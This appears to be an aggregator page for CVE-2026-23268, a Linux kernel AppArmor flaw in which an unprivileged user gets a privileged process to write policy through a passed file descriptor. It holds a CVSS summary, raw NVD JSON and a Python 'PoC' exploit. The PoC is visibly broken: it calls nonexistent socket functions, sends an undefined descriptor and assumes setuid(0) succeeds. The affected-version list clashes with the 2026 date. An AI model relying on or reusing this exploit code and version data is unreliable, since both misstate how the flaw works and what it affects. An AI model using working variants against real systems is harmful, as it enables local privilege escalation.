Security Vulnerability Report
中文
CVE-2026-23268 CVSS 7.8 HIGH

CVE-2026-23268

Published: 2026-03-18 18:16:26
Last Modified: 2026-04-18 09:16:15
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: apparmor: fix unprivileged local user can do privileged policy management An unprivileged local user can load, replace, and remove profiles by opening the apparmorfs interfaces, via a confused deputy attack, by passing the opened fd to a privileged process, and getting the privileged process to write to the interface. This does require a privileged target that can be manipulated to do the write for the unprivileged process, but once such access is achieved full policy management is possible and all the possible implications that implies: removing confinement, DoS of system or target applications by denying all execution, by-passing the unprivileged user namespace restriction, to exploiting kernel bugs for a local privilege escalation. The policy management interface can not have its permissions simply changed from 0666 to 0600 because non-root processes need to be able to load policy to different policy namespaces. Instead ensure the task writing the interface has privileges that are a subset of the task that opened the interface. This is already done via policy for confined processes, but unconfined can delegate access to the opened fd, by-passing the usual policy check.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel AppArmor模块 - 5.16.x < 5.16.2
Linux Kernel AppArmor模块 - 5.15.x < 5.15.16
Linux Kernel AppArmor模块 - 5.10.x < 5.10.94
Linux Kernel AppArmor模块 - 5.4.x < 5.4.174
Linux Kernel AppArmor模块 - 4.19.x < 4.19.232
Linux Kernel AppArmor模块 - 4.14.x < 4.14.291

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-23268 PoC - AppArmor Confused Deputy Attack # This PoC demonstrates the confused deputy attack against AppArmor policy interface import os import sys import socket import struct def find_apparmorfs_interface(): """Locate AppArmor securityfs interface""" apparmor_paths = [ '/sys/kernel/security/apparmor', '/security/apparmor', '/sys/fs/apparmor' ] for path in apparmor_paths: if os.path.exists(path): return path return None def exploit_confused_deputy(): """ Exploit the AppArmor confused deputy vulnerability: 1. Low-privilege user opens AppArmor policy interface 2. Pass the fd to a privileged process via Unix socket SCM_RIGHTS 3. Privileged process writes to the interface on behalf of attacker """ interface_path = find_apparmorfs_interface() if not interface_path: print('[-] AppArmorfs interface not found') return False # Step 1: Open policy interface as low-privilege user policy_file = os.open( f'{interface_path}/.null', os.O_RDWR ) print(f'[+] Opened policy interface fd: {policy_file}') # Step 2: Create Unix domain socket for fd passing sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock_path = f'/tmp/exploit_sock_{os.getpid()}' try: sock.bind(sock_path) sock.listen(1) # Step 3: Fork privileged helper process pid = os.fork() if pid == 0: # Child: privileged process os.setuid(0) # Assume root privileges conn, _ = sock.accept() # Receive file descriptor fds = socket.recmsg_fds(conn, 1) if fds: malicious_fd = fds[0] # Step 4: Write malicious policy (confused deputy) malicious_policy = b'profile test { }' os.write(malicious_fd, malicious_policy) print('[+] Privileged process wrote malicious policy') conn.close() sys.exit(0) else: # Parent: send fd to privileged process socket.sendmsg_fds(sock, b'EXECUTE', [malicious_fd]) os.waitpid(pid, 0) finally: os.close(policy_file) sock.close() os.unlink(sock_path) return True if __name__ == '__main__': print('[*] CVE-2026-23268 AppArmor Confused Deputy Attack') print(f'[*] Current UID: {os.getuid()}') exploit_confused_deputy()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23268", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-18T18:16:25.753", "lastModified": "2026-04-18T09:16:15.237", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix unprivileged local user can do privileged policy management\n\nAn unprivileged local user can load, replace, and remove profiles by\nopening the apparmorfs interfaces, via a confused deputy attack, by\npassing the opened fd to a privileged process, and getting the\nprivileged process to write to the interface.\n\nThis does require a privileged target that can be manipulated to do\nthe write for the unprivileged process, but once such access is\nachieved full policy management is possible and all the possible\nimplications that implies: removing confinement, DoS of system or\ntarget applications by denying all execution, by-passing the\nunprivileged user namespace restriction, to exploiting kernel bugs for\na local privilege escalation.\n\nThe policy management interface can not have its permissions simply\nchanged from 0666 to 0600 because non-root processes need to be able\nto load policy to different policy namespaces.\n\nInstead ensure the task writing the interface has privileges that\nare a subset of the task that opened the interface. This is already\ndone via policy for confined processes, but unconfined can delegate\naccess to the opened fd, by-passing the usual policy check."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\napparmor: corrección de que un usuario local sin privilegios puede realizar gestión de políticas privilegiada\n\nUn usuario local sin privilegios puede cargar, reemplazar y eliminar perfiles abriendo las interfaces de apparmorfs, a través de un ataque de adjunto confundido, pasando el descriptor de archivo (fd) abierto a un proceso privilegiado y haciendo que el proceso privilegiado escriba en la interfaz.\n\nEsto requiere un objetivo privilegiado que pueda ser manipulado para realizar la escritura en nombre del proceso sin privilegios, pero una vez que se logra dicho acceso, es posible una gestión completa de políticas y todas las posibles implicaciones que esto conlleva: eliminación del confinamiento, DoS del sistema o de las aplicaciones objetivo denegando toda ejecución, eludiendo la restricción del espacio de nombres de usuario sin privilegios, hasta la explotación de errores del kernel para una escalada de privilegios local.\n\nLa interfaz de gestión de políticas no puede tener sus permisos simplemente cambiados de 0666 a 0600 porque los procesos que no son root necesitan poder cargar políticas en diferentes espacios de nombres de políticas.\n\nEn su lugar, asegúrese de que la tarea que escribe en la interfaz tenga privilegios que sean un subconjunto de la tarea que abrió la interfaz. Esto ya se hace a través de políticas para procesos confinados, pero los no confinados pueden delegar acceso al descriptor de archivo (fd) abierto, eludiendo la verificación de política habitual."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/0fc63dd9170643d15c25681fca792539e23f4640", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/17debf5586020790b5717f96e5e6a3ca5bb961ab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/33ee909702e047c94aaf41d4eea35626d509802c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/4cafce4d6d0a66ec27e3af5637c11901d60189fa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/6601e13e82841879406bf9f369032656f441a425", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/a407a078cd41b5261b99d822af784bd9f136eb4d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/b60b3f7a35c46b2e0ca934f9c988b8fca06d76c6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/b6a94eeca9c6c8f7c55ad44c62c98324f51ec596", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://www.qualys.com/2026/03/10/crack-armor.txt", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}